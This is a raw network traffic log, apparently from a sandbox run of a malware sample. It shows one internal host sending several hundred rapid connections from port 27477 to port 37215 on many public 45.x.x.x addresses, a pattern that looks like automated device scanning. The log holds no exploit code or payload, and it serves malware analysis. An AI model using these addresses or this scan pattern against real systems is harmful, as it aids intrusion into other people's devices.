Feb 20, 2022 16:02:48.296139002 CET	27477	37215	192.168.2.23	45.228.159.121
Feb 20, 2022 16:02:48.296161890 CET	27477	37215	192.168.2.23	45.135.167.148
Feb 20, 2022 16:02:48.296181917 CET	27477	37215	192.168.2.23	45.72.118.55
Feb 20, 2022 16:02:48.296204090 CET	27477	37215	192.168.2.23	45.177.0.144
Feb 20, 2022 16:02:48.296224117 CET	27477	37215	192.168.2.23	45.220.91.218
Feb 20, 2022 16:02:48.296245098 CET	27477	37215	192.168.2.23	45.18.0.200
Feb 20, 2022 16:02:48.296271086 CET	27477	37215	192.168.2.23	45.225.64.229
Feb 20, 2022 16:02:48.296288013 CET	27477	37215	192.168.2.23	45.230.113.167
Feb 20, 2022 16:02:48.296312094 CET	27477	37215	192.168.2.23	45.249.46.71
Feb 20, 2022 16:02:48.296327114 CET	27477	37215	192.168.2.23	45.219.197.125
Feb 20, 2022 16:02:48.296355963 CET	27477	37215	192.168.2.23	45.165.242.209
Feb 20, 2022 16:02:48.296376944 CET	27477	37215	192.168.2.23	45.136.20.169
Feb 20, 2022 16:02:48.296406031 CET	27477	37215	192.168.2.23	45.136.92.18
Feb 20, 2022 16:02:48.296416998 CET	27477	37215	192.168.2.23	45.120.187.25
Feb 20, 2022 16:02:48.296447039 CET	27477	37215	192.168.2.23	45.253.121.139
Feb 20, 2022 16:02:48.296458960 CET	27477	37215	192.168.2.23	45.26.211.120
Feb 20, 2022 16:02:48.296475887 CET	27477	37215	192.168.2.23	45.95.66.251
Feb 20, 2022 16:02:48.296509027 CET	27477	37215	192.168.2.23	45.205.208.218
Feb 20, 2022 16:02:48.296530008 CET	27477	37215	192.168.2.23	45.239.178.25
Feb 20, 2022 16:02:48.296557903 CET	27477	37215	192.168.2.23	45.45.155.216
Feb 20, 2022 16:02:48.296569109 CET	27477	37215	192.168.2.23	45.111.228.153
Feb 20, 2022 16:02:48.296591997 CET	27477	37215	192.168.2.23	45.211.213.238
Feb 20, 2022 16:02:48.296607018 CET	27477	37215	192.168.2.23	45.97.198.114
Feb 20, 2022 16:02:48.296637058 CET	27477	37215	192.168.2.23	45.47.189.214
Feb 20, 2022 16:02:48.296658993 CET	27477	37215	192.168.2.23	45.57.133.83
Feb 20, 2022 16:02:48.296680927 CET	27477	37215	192.168.2.23	45.237.4.96
Feb 20, 2022 16:02:48.296705961 CET	27477	37215	192.168.2.23	45.165.222.87
Feb 20, 2022 16:02:48.296722889 CET	27477	37215	192.168.2.23	45.55.66.173
Feb 20, 2022 16:02:48.296744108 CET	27477	37215	192.168.2.23	45.216.248.101
Feb 20, 2022 16:02:48.296771049 CET	27477	37215	192.168.2.23	45.141.109.109
Feb 20, 2022 16:02:48.296788931 CET	27477	37215	192.168.2.23	45.80.99.97
Feb 20, 2022 16:02:48.296818018 CET	27477	37215	192.168.2.23	45.211.215.192
Feb 20, 2022 16:02:48.296839952 CET	27477	37215	192.168.2.23	45.114.180.130
Feb 20, 2022 16:02:48.296859026 CET	27477	37215	192.168.2.23	45.222.16.169
Feb 20, 2022 16:02:48.296883106 CET	27477	37215	192.168.2.23	45.10.85.47
Feb 20, 2022 16:02:48.296894073 CET	27477	37215	192.168.2.23	45.3.231.241
Feb 20, 2022 16:02:48.296916962 CET	27477	37215	192.168.2.23	45.18.148.213
Feb 20, 2022 16:02:48.296950102 CET	27477	37215	192.168.2.23	45.1.229.153
Feb 20, 2022 16:02:48.296968937 CET	27477	37215	192.168.2.23	45.245.154.11
Feb 20, 2022 16:02:48.296992064 CET	27477	37215	192.168.2.23	45.71.162.102
Feb 20, 2022 16:02:48.297013998 CET	27477	37215	192.168.2.23	45.186.224.188
Feb 20, 2022 16:02:48.297036886 CET	27477	37215	192.168.2.23	45.91.221.226
Feb 20, 2022 16:02:48.297063112 CET	27477	37215	192.168.2.23	45.143.6.68
Feb 20, 2022 16:02:48.297082901 CET	27477	37215	192.168.2.23	45.192.214.93
Feb 20, 2022 16:02:48.297105074 CET	27477	37215	192.168.2.23	45.39.130.179
Feb 20, 2022 16:02:48.297127962 CET	27477	37215	192.168.2.23	45.215.138.206
Feb 20, 2022 16:02:48.297161102 CET	27477	37215	192.168.2.23	45.131.204.209
Feb 20, 2022 16:02:48.297185898 CET	27477	37215	192.168.2.23	45.138.161.196
Feb 20, 2022 16:02:48.297197104 CET	27477	37215	192.168.2.23	45.91.133.144
Feb 20, 2022 16:02:48.297224045 CET	27477	37215	192.168.2.23	45.226.210.96
Feb 20, 2022 16:02:48.297235012 CET	27477	37215	192.168.2.23	45.133.21.235
Feb 20, 2022 16:02:48.297267914 CET	27477	37215	192.168.2.23	45.63.155.215
Feb 20, 2022 16:02:48.297297001 CET	27477	37215	192.168.2.23	45.174.157.124
Feb 20, 2022 16:02:48.297317028 CET	27477	37215	192.168.2.23	45.22.17.30
Feb 20, 2022 16:02:48.297333002 CET	27477	37215	192.168.2.23	45.197.198.173
Feb 20, 2022 16:02:48.297363997 CET	27477	37215	192.168.2.23	45.133.126.213
Feb 20, 2022 16:02:48.297395945 CET	27477	37215	192.168.2.23	45.70.208.169
Feb 20, 2022 16:02:48.297432899 CET	27477	37215	192.168.2.23	45.213.119.155
Feb 20, 2022 16:02:48.297450066 CET	27477	37215	192.168.2.23	45.91.28.152
Feb 20, 2022 16:02:48.297482014 CET	27477	37215	192.168.2.23	45.225.210.23
Feb 20, 2022 16:02:48.297497988 CET	27477	37215	192.168.2.23	45.234.174.113
Feb 20, 2022 16:02:48.297525883 CET	27477	37215	192.168.2.23	45.245.133.135
Feb 20, 2022 16:02:48.297548056 CET	27477	37215	192.168.2.23	45.220.196.40
Feb 20, 2022 16:02:48.297569036 CET	27477	37215	192.168.2.23	45.128.215.83
Feb 20, 2022 16:02:48.297588110 CET	27477	37215	192.168.2.23	45.132.96.128
Feb 20, 2022 16:02:48.297605991 CET	27477	37215	192.168.2.23	45.39.159.46
Feb 20, 2022 16:02:48.297632933 CET	27477	37215	192.168.2.23	45.45.228.69
Feb 20, 2022 16:02:48.297652006 CET	27477	37215	192.168.2.23	45.135.140.119
Feb 20, 2022 16:02:48.297679901 CET	27477	37215	192.168.2.23	45.121.79.206
Feb 20, 2022 16:02:48.297698021 CET	27477	37215	192.168.2.23	45.214.13.191
Feb 20, 2022 16:02:48.297722101 CET	27477	37215	192.168.2.23	45.200.167.165
Feb 20, 2022 16:02:48.297744989 CET	27477	37215	192.168.2.23	45.212.26.173
Feb 20, 2022 16:02:48.297766924 CET	27477	37215	192.168.2.23	45.179.41.138
Feb 20, 2022 16:02:48.297787905 CET	27477	37215	192.168.2.23	45.76.213.52
Feb 20, 2022 16:02:48.297811985 CET	27477	37215	192.168.2.23	45.80.60.107
Feb 20, 2022 16:02:48.297837019 CET	27477	37215	192.168.2.23	45.83.180.42
Feb 20, 2022 16:02:48.297904968 CET	27477	37215	192.168.2.23	45.154.198.154
Feb 20, 2022 16:02:48.297923088 CET	27477	37215	192.168.2.23	45.127.76.102
Feb 20, 2022 16:02:48.297947884 CET	27477	37215	192.168.2.23	45.53.24.166
Feb 20, 2022 16:02:48.297950983 CET	27477	37215	192.168.2.23	45.169.99.155
Feb 20, 2022 16:02:48.297962904 CET	27477	37215	192.168.2.23	45.69.119.76
Feb 20, 2022 16:02:48.297966003 CET	27477	37215	192.168.2.23	45.142.157.22
Feb 20, 2022 16:02:48.297988892 CET	27477	37215	192.168.2.23	45.1.244.20
Feb 20, 2022 16:02:48.298013926 CET	27477	37215	192.168.2.23	45.236.72.118
Feb 20, 2022 16:02:48.298032999 CET	27477	37215	192.168.2.23	45.114.136.163
Feb 20, 2022 16:02:48.298055887 CET	27477	37215	192.168.2.23	45.110.13.41
Feb 20, 2022 16:02:48.298074961 CET	27477	37215	192.168.2.23	45.226.137.212
Feb 20, 2022 16:02:48.298099041 CET	27477	37215	192.168.2.23	45.107.144.36
Feb 20, 2022 16:02:48.298120022 CET	27477	37215	192.168.2.23	45.114.236.26
Feb 20, 2022 16:02:48.298141956 CET	27477	37215	192.168.2.23	45.112.20.164
Feb 20, 2022 16:02:48.298162937 CET	27477	37215	192.168.2.23	45.181.128.56
Feb 20, 2022 16:02:48.298183918 CET	27477	37215	192.168.2.23	45.72.173.240
Feb 20, 2022 16:02:48.298212051 CET	27477	37215	192.168.2.23	45.66.139.135
Feb 20, 2022 16:02:48.298230886 CET	27477	37215	192.168.2.23	45.114.20.42
Feb 20, 2022 16:02:48.298250914 CET	27477	37215	192.168.2.23	45.175.199.151
Feb 20, 2022 16:02:48.298270941 CET	27477	37215	192.168.2.23	45.210.13.166
Feb 20, 2022 16:02:48.298290968 CET	27477	37215	192.168.2.23	45.75.224.90
Feb 20, 2022 16:02:48.298305035 CET	27477	37215	192.168.2.23	45.175.151.175
Feb 20, 2022 16:02:48.298325062 CET	27477	37215	192.168.2.23	45.79.53.160
Feb 20, 2022 16:02:48.298356056 CET	27477	37215	192.168.2.23	45.6.155.218
Feb 20, 2022 16:02:48.298368931 CET	27477	37215	192.168.2.23	45.200.198.167
Feb 20, 2022 16:02:48.298403025 CET	27477	37215	192.168.2.23	45.154.78.99
Feb 20, 2022 16:02:48.298420906 CET	27477	37215	192.168.2.23	45.129.132.73
Feb 20, 2022 16:02:48.298437119 CET	27477	37215	192.168.2.23	45.115.235.46
Feb 20, 2022 16:02:48.298460007 CET	27477	37215	192.168.2.23	45.77.249.15
Feb 20, 2022 16:02:48.298485041 CET	27477	37215	192.168.2.23	45.99.178.92
Feb 20, 2022 16:02:48.298505068 CET	27477	37215	192.168.2.23	45.135.184.55
Feb 20, 2022 16:02:48.298536062 CET	27477	37215	192.168.2.23	45.129.81.100
Feb 20, 2022 16:02:48.298561096 CET	27477	37215	192.168.2.23	45.141.118.31
Feb 20, 2022 16:02:48.298577070 CET	27477	37215	192.168.2.23	45.222.210.221
Feb 20, 2022 16:02:48.298605919 CET	27477	37215	192.168.2.23	45.120.26.137
Feb 20, 2022 16:02:48.298631907 CET	27477	37215	192.168.2.23	45.136.124.236
Feb 20, 2022 16:02:48.298649073 CET	27477	37215	192.168.2.23	45.210.240.230
Feb 20, 2022 16:02:48.298671007 CET	27477	37215	192.168.2.23	45.222.92.207
Feb 20, 2022 16:02:48.298702955 CET	27477	37215	192.168.2.23	45.234.236.137
Feb 20, 2022 16:02:48.298722029 CET	27477	37215	192.168.2.23	45.47.22.34
Feb 20, 2022 16:02:48.298729897 CET	27477	37215	192.168.2.23	45.178.76.99
Feb 20, 2022 16:02:48.298764944 CET	27477	37215	192.168.2.23	45.174.22.100
Feb 20, 2022 16:02:48.298784018 CET	27477	37215	192.168.2.23	45.237.2.51
Feb 20, 2022 16:02:48.298805952 CET	27477	37215	192.168.2.23	45.2.248.124
Feb 20, 2022 16:02:48.298835039 CET	27477	37215	192.168.2.23	45.177.55.190
Feb 20, 2022 16:02:48.298839092 CET	27477	37215	192.168.2.23	45.51.7.243
Feb 20, 2022 16:02:48.298858881 CET	27477	37215	192.168.2.23	45.89.60.172
Feb 20, 2022 16:02:48.298887014 CET	27477	37215	192.168.2.23	45.178.236.174
Feb 20, 2022 16:02:48.298908949 CET	27477	37215	192.168.2.23	45.254.169.97
Feb 20, 2022 16:02:48.298940897 CET	27477	37215	192.168.2.23	45.23.222.42
Feb 20, 2022 16:02:48.298955917 CET	27477	37215	192.168.2.23	45.156.186.163
Feb 20, 2022 16:02:48.298976898 CET	27477	37215	192.168.2.23	45.177.108.231
Feb 20, 2022 16:02:48.298991919 CET	27477	37215	192.168.2.23	45.247.122.101
Feb 20, 2022 16:02:48.299021959 CET	27477	37215	192.168.2.23	45.246.10.93
Feb 20, 2022 16:02:48.299040079 CET	27477	37215	192.168.2.23	45.149.152.77
Feb 20, 2022 16:02:48.299072027 CET	27477	37215	192.168.2.23	45.51.188.246
Feb 20, 2022 16:02:48.299093008 CET	27477	37215	192.168.2.23	45.101.111.222
Feb 20, 2022 16:02:48.299119949 CET	27477	37215	192.168.2.23	45.138.12.106
Feb 20, 2022 16:02:48.299134970 CET	27477	37215	192.168.2.23	45.165.10.8
Feb 20, 2022 16:02:48.299158096 CET	27477	37215	192.168.2.23	45.219.50.166
Feb 20, 2022 16:02:48.299181938 CET	27477	37215	192.168.2.23	45.110.218.17
Feb 20, 2022 16:02:48.299209118 CET	27477	37215	192.168.2.23	45.211.140.156
Feb 20, 2022 16:02:48.299231052 CET	27477	37215	192.168.2.23	45.224.35.10
Feb 20, 2022 16:02:48.299252987 CET	27477	37215	192.168.2.23	45.178.58.238
Feb 20, 2022 16:02:48.299271107 CET	27477	37215	192.168.2.23	45.199.125.107
Feb 20, 2022 16:02:48.299285889 CET	27477	37215	192.168.2.23	45.177.117.206
Feb 20, 2022 16:02:48.299319029 CET	27477	37215	192.168.2.23	45.106.129.97
Feb 20, 2022 16:02:48.299330950 CET	27477	37215	192.168.2.23	45.142.83.251
Feb 20, 2022 16:02:48.299349070 CET	27477	37215	192.168.2.23	45.86.96.107
Feb 20, 2022 16:02:48.299376011 CET	27477	37215	192.168.2.23	45.18.210.220
Feb 20, 2022 16:02:48.299387932 CET	27477	37215	192.168.2.23	45.107.196.91
Feb 20, 2022 16:02:48.299410105 CET	27477	37215	192.168.2.23	45.145.21.43
Feb 20, 2022 16:02:48.299437046 CET	27477	37215	192.168.2.23	45.74.9.191
Feb 20, 2022 16:02:48.299467087 CET	27477	37215	192.168.2.23	45.126.222.159
Feb 20, 2022 16:02:48.299489021 CET	27477	37215	192.168.2.23	45.152.153.244
Feb 20, 2022 16:02:48.299513102 CET	27477	37215	192.168.2.23	45.166.232.187
Feb 20, 2022 16:02:48.299536943 CET	27477	37215	192.168.2.23	45.228.10.61
Feb 20, 2022 16:02:48.299556017 CET	27477	37215	192.168.2.23	45.250.226.73
Feb 20, 2022 16:02:48.299582005 CET	27477	37215	192.168.2.23	45.206.60.65
Feb 20, 2022 16:02:48.299601078 CET	27477	37215	192.168.2.23	45.62.149.146
Feb 20, 2022 16:02:48.299627066 CET	27477	37215	192.168.2.23	45.156.229.202
Feb 20, 2022 16:02:48.299650908 CET	27477	37215	192.168.2.23	45.184.250.200
Feb 20, 2022 16:02:48.299669981 CET	27477	37215	192.168.2.23	45.206.209.33
Feb 20, 2022 16:02:48.299685955 CET	27477	37215	192.168.2.23	45.150.108.203
Feb 20, 2022 16:02:48.299702883 CET	27477	37215	192.168.2.23	45.41.62.61
Feb 20, 2022 16:02:48.299762011 CET	27477	37215	192.168.2.23	45.240.187.32
Feb 20, 2022 16:02:48.299781084 CET	27477	37215	192.168.2.23	45.25.69.200
Feb 20, 2022 16:02:48.299802065 CET	27477	37215	192.168.2.23	45.174.24.216
Feb 20, 2022 16:02:48.299827099 CET	27477	37215	192.168.2.23	45.2.129.221
Feb 20, 2022 16:02:48.299843073 CET	27477	37215	192.168.2.23	45.42.100.31
Feb 20, 2022 16:02:48.299869061 CET	27477	37215	192.168.2.23	45.85.152.164
Feb 20, 2022 16:02:48.299892902 CET	27477	37215	192.168.2.23	45.130.233.53
Feb 20, 2022 16:02:48.299920082 CET	27477	37215	192.168.2.23	45.70.245.234
Feb 20, 2022 16:02:48.299948931 CET	27477	37215	192.168.2.23	45.9.235.150
Feb 20, 2022 16:02:48.299957991 CET	27477	37215	192.168.2.23	45.159.78.75
Feb 20, 2022 16:02:48.299982071 CET	27477	37215	192.168.2.23	45.18.199.7
Feb 20, 2022 16:02:48.299999952 CET	27477	37215	192.168.2.23	45.220.63.65
Feb 20, 2022 16:02:48.300024033 CET	27477	37215	192.168.2.23	45.118.232.252
Feb 20, 2022 16:02:48.300041914 CET	27477	37215	192.168.2.23	45.142.37.190
Feb 20, 2022 16:02:48.300056934 CET	27477	37215	192.168.2.23	45.114.91.233
Feb 20, 2022 16:02:48.300087929 CET	27477	37215	192.168.2.23	45.160.155.93
Feb 20, 2022 16:02:48.300112963 CET	27477	37215	192.168.2.23	45.87.159.212
Feb 20, 2022 16:02:48.300127029 CET	27477	37215	192.168.2.23	45.82.167.70
Feb 20, 2022 16:02:48.300141096 CET	27477	37215	192.168.2.23	45.231.12.151
Feb 20, 2022 16:02:48.300174952 CET	27477	37215	192.168.2.23	45.96.85.214
Feb 20, 2022 16:02:48.300200939 CET	27477	37215	192.168.2.23	45.158.130.178
Feb 20, 2022 16:02:48.300210953 CET	27477	37215	192.168.2.23	45.136.174.187
Feb 20, 2022 16:02:48.300230026 CET	27477	37215	192.168.2.23	45.46.161.127
Feb 20, 2022 16:02:48.300255060 CET	27477	37215	192.168.2.23	45.193.88.90
Feb 20, 2022 16:02:48.300281048 CET	27477	37215	192.168.2.23	45.239.176.101
Feb 20, 2022 16:02:48.300296068 CET	27477	37215	192.168.2.23	45.37.180.172
Feb 20, 2022 16:02:48.300311089 CET	27477	37215	192.168.2.23	45.204.112.201
Feb 20, 2022 16:02:48.300340891 CET	27477	37215	192.168.2.23	45.79.250.57
Feb 20, 2022 16:02:48.300362110 CET	27477	37215	192.168.2.23	45.116.183.146
Feb 20, 2022 16:02:48.300389051 CET	27477	37215	192.168.2.23	45.241.27.9
Feb 20, 2022 16:02:48.300412893 CET	27477	37215	192.168.2.23	45.226.14.147
Feb 20, 2022 16:02:48.300430059 CET	27477	37215	192.168.2.23	45.213.74.55
Feb 20, 2022 16:02:48.300456047 CET	27477	37215	192.168.2.23	45.135.15.195
Feb 20, 2022 16:02:48.300477982 CET	27477	37215	192.168.2.23	45.245.1.18
Feb 20, 2022 16:02:48.300497055 CET	27477	37215	192.168.2.23	45.248.8.31
Feb 20, 2022 16:02:48.300518990 CET	27477	37215	192.168.2.23	45.186.62.118
Feb 20, 2022 16:02:48.300549030 CET	27477	37215	192.168.2.23	45.32.104.178
Feb 20, 2022 16:02:48.300569057 CET	27477	37215	192.168.2.23	45.64.47.35
Feb 20, 2022 16:02:48.300579071 CET	27477	37215	192.168.2.23	45.153.11.206
Feb 20, 2022 16:02:48.300605059 CET	27477	37215	192.168.2.23	45.19.10.3
Feb 20, 2022 16:02:48.300632954 CET	27477	37215	192.168.2.23	45.19.68.5
Feb 20, 2022 16:02:48.300657988 CET	27477	37215	192.168.2.23	45.100.248.197
Feb 20, 2022 16:02:48.300677061 CET	27477	37215	192.168.2.23	45.199.50.251
Feb 20, 2022 16:02:48.300693035 CET	27477	37215	192.168.2.23	45.156.114.152
Feb 20, 2022 16:02:48.300715923 CET	27477	37215	192.168.2.23	45.106.198.78
Feb 20, 2022 16:02:48.300750017 CET	27477	37215	192.168.2.23	45.232.214.164
Feb 20, 2022 16:02:48.300785065 CET	27477	37215	192.168.2.23	45.141.111.236
Feb 20, 2022 16:02:48.300792933 CET	27477	37215	192.168.2.23	45.96.145.17
Feb 20, 2022 16:02:48.300806999 CET	27477	37215	192.168.2.23	45.201.170.43
Feb 20, 2022 16:02:48.300839901 CET	27477	37215	192.168.2.23	45.137.34.25
Feb 20, 2022 16:02:48.300868988 CET	27477	37215	192.168.2.23	45.27.182.24
Feb 20, 2022 16:02:48.300884008 CET	27477	37215	192.168.2.23	45.196.176.209
Feb 20, 2022 16:02:48.300896883 CET	27477	37215	192.168.2.23	45.30.80.105
Feb 20, 2022 16:02:48.300923109 CET	27477	37215	192.168.2.23	45.224.133.110
Feb 20, 2022 16:02:48.300945997 CET	27477	37215	192.168.2.23	45.74.241.219
Feb 20, 2022 16:02:48.300967932 CET	27477	37215	192.168.2.23	45.0.4.146
Feb 20, 2022 16:02:48.300991058 CET	27477	37215	192.168.2.23	45.97.43.50
Feb 20, 2022 16:02:48.301013947 CET	27477	37215	192.168.2.23	45.234.241.70
Feb 20, 2022 16:02:48.301040888 CET	27477	37215	192.168.2.23	45.98.174.169
Feb 20, 2022 16:02:48.301071882 CET	27477	37215	192.168.2.23	45.127.14.151
Feb 20, 2022 16:02:48.301076889 CET	27477	37215	192.168.2.23	45.112.236.148
Feb 20, 2022 16:02:48.301093102 CET	27477	37215	192.168.2.23	45.100.206.31
Feb 20, 2022 16:02:48.301117897 CET	27477	37215	192.168.2.23	45.228.187.230
Feb 20, 2022 16:02:48.301147938 CET	27477	37215	192.168.2.23	45.215.233.178
Feb 20, 2022 16:02:48.301168919 CET	27477	37215	192.168.2.23	45.50.111.173
Feb 20, 2022 16:02:48.301188946 CET	27477	37215	192.168.2.23	45.222.24.255
Feb 20, 2022 16:02:48.301214933 CET	27477	37215	192.168.2.23	45.144.123.200
Feb 20, 2022 16:02:48.301240921 CET	27477	37215	192.168.2.23	45.133.115.78
Feb 20, 2022 16:02:48.301261902 CET	27477	37215	192.168.2.23	45.220.103.222
Feb 20, 2022 16:02:48.301278114 CET	27477	37215	192.168.2.23	45.163.135.101
Feb 20, 2022 16:02:48.301304102 CET	27477	37215	192.168.2.23	45.143.209.52
Feb 20, 2022 16:02:48.301323891 CET	27477	37215	192.168.2.23	45.152.71.133
Feb 20, 2022 16:02:48.301346064 CET	27477	37215	192.168.2.23	45.243.112.68
Feb 20, 2022 16:02:48.301369905 CET	27477	37215	192.168.2.23	45.169.174.36
Feb 20, 2022 16:02:48.301398993 CET	27477	37215	192.168.2.23	45.116.198.46
Feb 20, 2022 16:02:48.301419020 CET	27477	37215	192.168.2.23	45.84.80.71
Feb 20, 2022 16:02:48.301429033 CET	27477	37215	192.168.2.23	45.51.210.196
Feb 20, 2022 16:02:48.301449060 CET	27477	37215	192.168.2.23	45.40.165.8
Feb 20, 2022 16:02:48.301480055 CET	27477	37215	192.168.2.23	45.41.209.238
Feb 20, 2022 16:02:48.301505089 CET	27477	37215	192.168.2.23	45.77.227.188
Feb 20, 2022 16:02:48.301523924 CET	27477	37215	192.168.2.23	45.28.160.9
Feb 20, 2022 16:02:48.301549911 CET	27477	37215	192.168.2.23	45.191.87.55
Feb 20, 2022 16:02:48.301572084 CET	27477	37215	192.168.2.23	45.60.212.137
Feb 20, 2022 16:02:48.301594019 CET	27477	37215	192.168.2.23	45.88.146.103
Feb 20, 2022 16:02:48.301604986 CET	27477	37215	192.168.2.23	45.65.120.45
Feb 20, 2022 16:02:48.301630974 CET	27477	37215	192.168.2.23	45.70.87.138
Feb 20, 2022 16:02:48.301667929 CET	27477	37215	192.168.2.23	45.183.199.103
Feb 20, 2022 16:02:48.301668882 CET	27477	37215	192.168.2.23	45.47.0.146
Feb 20, 2022 16:02:48.301693916 CET	27477	37215	192.168.2.23	45.207.139.128
Feb 20, 2022 16:02:48.301721096 CET	27477	37215	192.168.2.23	45.126.125.17
Feb 20, 2022 16:02:48.301738024 CET	27477	37215	192.168.2.23	45.16.115.103
Feb 20, 2022 16:02:48.301758051 CET	27477	37215	192.168.2.23	45.126.170.185
Feb 20, 2022 16:02:48.301784992 CET	27477	37215	192.168.2.23	45.54.111.54
Feb 20, 2022 16:02:48.301800013 CET	27477	37215	192.168.2.23	45.93.69.113
Feb 20, 2022 16:02:48.301826954 CET	27477	37215	192.168.2.23	45.175.64.198
Feb 20, 2022 16:02:48.301871061 CET	27477	37215	192.168.2.23	45.177.227.138
Feb 20, 2022 16:02:48.301882982 CET	27477	37215	192.168.2.23	45.91.251.97
Feb 20, 2022 16:02:48.301884890 CET	27477	37215	192.168.2.23	45.253.178.147
Feb 20, 2022 16:02:48.301908016 CET	27477	37215	192.168.2.23	45.225.73.155
Feb 20, 2022 16:02:48.301951885 CET	27477	37215	192.168.2.23	45.208.149.226
Feb 20, 2022 16:02:48.301956892 CET	27477	37215	192.168.2.23	45.255.151.174
Feb 20, 2022 16:02:48.301983118 CET	27477	37215	192.168.2.23	45.216.225.115
Feb 20, 2022 16:02:48.302009106 CET	27477	37215	192.168.2.23	45.135.240.23
Feb 20, 2022 16:02:48.302021027 CET	27477	37215	192.168.2.23	45.63.250.128
Feb 20, 2022 16:02:48.302043915 CET	27477	37215	192.168.2.23	45.39.96.108
Feb 20, 2022 16:02:48.302069902 CET	27477	37215	192.168.2.23	45.245.213.212
Feb 20, 2022 16:02:48.302088976 CET	27477	37215	192.168.2.23	45.96.132.132
Feb 20, 2022 16:02:48.302104950 CET	27477	37215	192.168.2.23	45.43.51.123
Feb 20, 2022 16:02:48.302125931 CET	27477	37215	192.168.2.23	45.247.208.162
Feb 20, 2022 16:02:48.302148104 CET	27477	37215	192.168.2.23	45.184.30.230
Feb 20, 2022 16:02:48.302180052 CET	27477	37215	192.168.2.23	45.177.99.85
Feb 20, 2022 16:02:48.302202940 CET	27477	37215	192.168.2.23	45.166.71.249
Feb 20, 2022 16:02:48.302221060 CET	27477	37215	192.168.2.23	45.78.204.155
Feb 20, 2022 16:02:48.302248955 CET	27477	37215	192.168.2.23	45.124.230.231
Feb 20, 2022 16:02:48.302269936 CET	27477	37215	192.168.2.23	45.78.209.151
Feb 20, 2022 16:02:48.302294970 CET	27477	37215	192.168.2.23	45.194.86.248
Feb 20, 2022 16:02:48.302313089 CET	27477	37215	192.168.2.23	45.87.57.4
Feb 20, 2022 16:02:48.302336931 CET	27477	37215	192.168.2.23	45.74.83.109
Feb 20, 2022 16:02:48.302366018 CET	27477	37215	192.168.2.23	45.176.54.168
Feb 20, 2022 16:02:48.302378893 CET	27477	37215	192.168.2.23	45.123.241.179
Feb 20, 2022 16:02:48.302412987 CET	27477	37215	192.168.2.23	45.235.26.7
Feb 20, 2022 16:02:48.302422047 CET	27477	37215	192.168.2.23	45.17.245.78
Feb 20, 2022 16:02:48.302436113 CET	27477	37215	192.168.2.23	45.187.52.2
Feb 20, 2022 16:02:48.302465916 CET	27477	37215	192.168.2.23	45.62.242.175
Feb 20, 2022 16:02:48.302489996 CET	27477	37215	192.168.2.23	45.65.120.205
Feb 20, 2022 16:02:48.302525997 CET	27477	37215	192.168.2.23	45.70.183.192
Feb 20, 2022 16:02:48.302536964 CET	27477	37215	192.168.2.23	45.81.150.26
Feb 20, 2022 16:02:48.302552938 CET	27477	37215	192.168.2.23	45.51.106.203
Feb 20, 2022 16:02:48.302578926 CET	27477	37215	192.168.2.23	45.62.188.8
Feb 20, 2022 16:02:48.302608013 CET	27477	37215	192.168.2.23	45.41.174.187
Feb 20, 2022 16:02:48.302620888 CET	27477	37215	192.168.2.23	45.146.88.179
Feb 20, 2022 16:02:48.302639961 CET	27477	37215	192.168.2.23	45.84.4.118
Feb 20, 2022 16:02:48.302664995 CET	27477	37215	192.168.2.23	45.126.232.151
Feb 20, 2022 16:02:48.302690029 CET	27477	37215	192.168.2.23	45.48.45.59
Feb 20, 2022 16:02:48.302711010 CET	27477	37215	192.168.2.23	45.56.235.184
Feb 20, 2022 16:02:48.302731037 CET	27477	37215	192.168.2.23	45.135.229.92
Feb 20, 2022 16:02:48.302750111 CET	27477	37215	192.168.2.23	45.140.193.194
Feb 20, 2022 16:02:48.302773952 CET	27477	37215	192.168.2.23	45.130.119.101
Feb 20, 2022 16:02:48.302794933 CET	27477	37215	192.168.2.23	45.28.246.234
Feb 20, 2022 16:02:48.302807093 CET	27477	37215	192.168.2.23	45.235.128.203
Feb 20, 2022 16:02:48.302826881 CET	27477	37215	192.168.2.23	45.52.80.72
Feb 20, 2022 16:02:48.302850962 CET	27477	37215	192.168.2.23	45.87.254.86
Feb 20, 2022 16:02:48.302881002 CET	27477	37215	192.168.2.23	45.180.138.111
Feb 20, 2022 16:02:48.302902937 CET	27477	37215	192.168.2.23	45.42.54.4
Feb 20, 2022 16:02:48.302947044 CET	27477	37215	192.168.2.23	45.109.207.61
Feb 20, 2022 16:02:48.302954912 CET	27477	37215	192.168.2.23	45.208.51.145
Feb 20, 2022 16:02:48.302983046 CET	27477	37215	192.168.2.23	45.243.47.23
Feb 20, 2022 16:02:48.303009987 CET	27477	37215	192.168.2.23	45.146.86.51
Feb 20, 2022 16:02:48.303025961 CET	27477	37215	192.168.2.23	45.20.125.122
Feb 20, 2022 16:02:48.303072929 CET	27477	37215	192.168.2.23	45.183.143.170
Feb 20, 2022 16:02:48.303076982 CET	27477	37215	192.168.2.23	45.25.119.2
Feb 20, 2022 16:02:48.303101063 CET	27477	37215	192.168.2.23	45.193.178.157
Feb 20, 2022 16:02:48.303128004 CET	27477	37215	192.168.2.23	45.34.73.76
Feb 20, 2022 16:02:48.303157091 CET	27477	37215	192.168.2.23	45.222.53.182
Feb 20, 2022 16:02:48.303183079 CET	27477	37215	192.168.2.23	45.50.225.36
Feb 20, 2022 16:02:48.303210020 CET	27477	37215	192.168.2.23	45.61.179.142
Feb 20, 2022 16:02:48.303217888 CET	27477	37215	192.168.2.23	45.70.113.121
Feb 20, 2022 16:02:48.303244114 CET	27477	37215	192.168.2.23	45.70.148.145
Feb 20, 2022 16:02:48.303267956 CET	27477	37215	192.168.2.23	45.182.10.73
Feb 20, 2022 16:02:48.303304911 CET	27477	37215	192.168.2.23	45.30.133.32
Feb 20, 2022 16:02:48.303329945 CET	27477	37215	192.168.2.23	45.191.148.71
Feb 20, 2022 16:02:48.303355932 CET	27477	37215	192.168.2.23	45.220.78.238
Feb 20, 2022 16:02:48.303366899 CET	27477	37215	192.168.2.23	45.202.58.210
Feb 20, 2022 16:02:48.303390980 CET	27477	37215	192.168.2.23	45.172.218.44
Feb 20, 2022 16:02:48.303421021 CET	27477	37215	192.168.2.23	45.20.45.172
Feb 20, 2022 16:02:48.303442955 CET	27477	37215	192.168.2.23	45.108.146.157
Feb 20, 2022 16:02:48.303471088 CET	27477	37215	192.168.2.23	45.1.227.242
Feb 20, 2022 16:02:48.303493023 CET	27477	37215	192.168.2.23	45.20.16.35
Feb 20, 2022 16:02:48.303523064 CET	27477	37215	192.168.2.23	45.7.175.148
Feb 20, 2022 16:02:48.303541899 CET	27477	37215	192.168.2.23	45.34.39.99
Feb 20, 2022 16:02:48.303555012 CET	27477	37215	192.168.2.23	45.76.173.131
Feb 20, 2022 16:02:48.303589106 CET	27477	37215	192.168.2.23	45.144.96.178
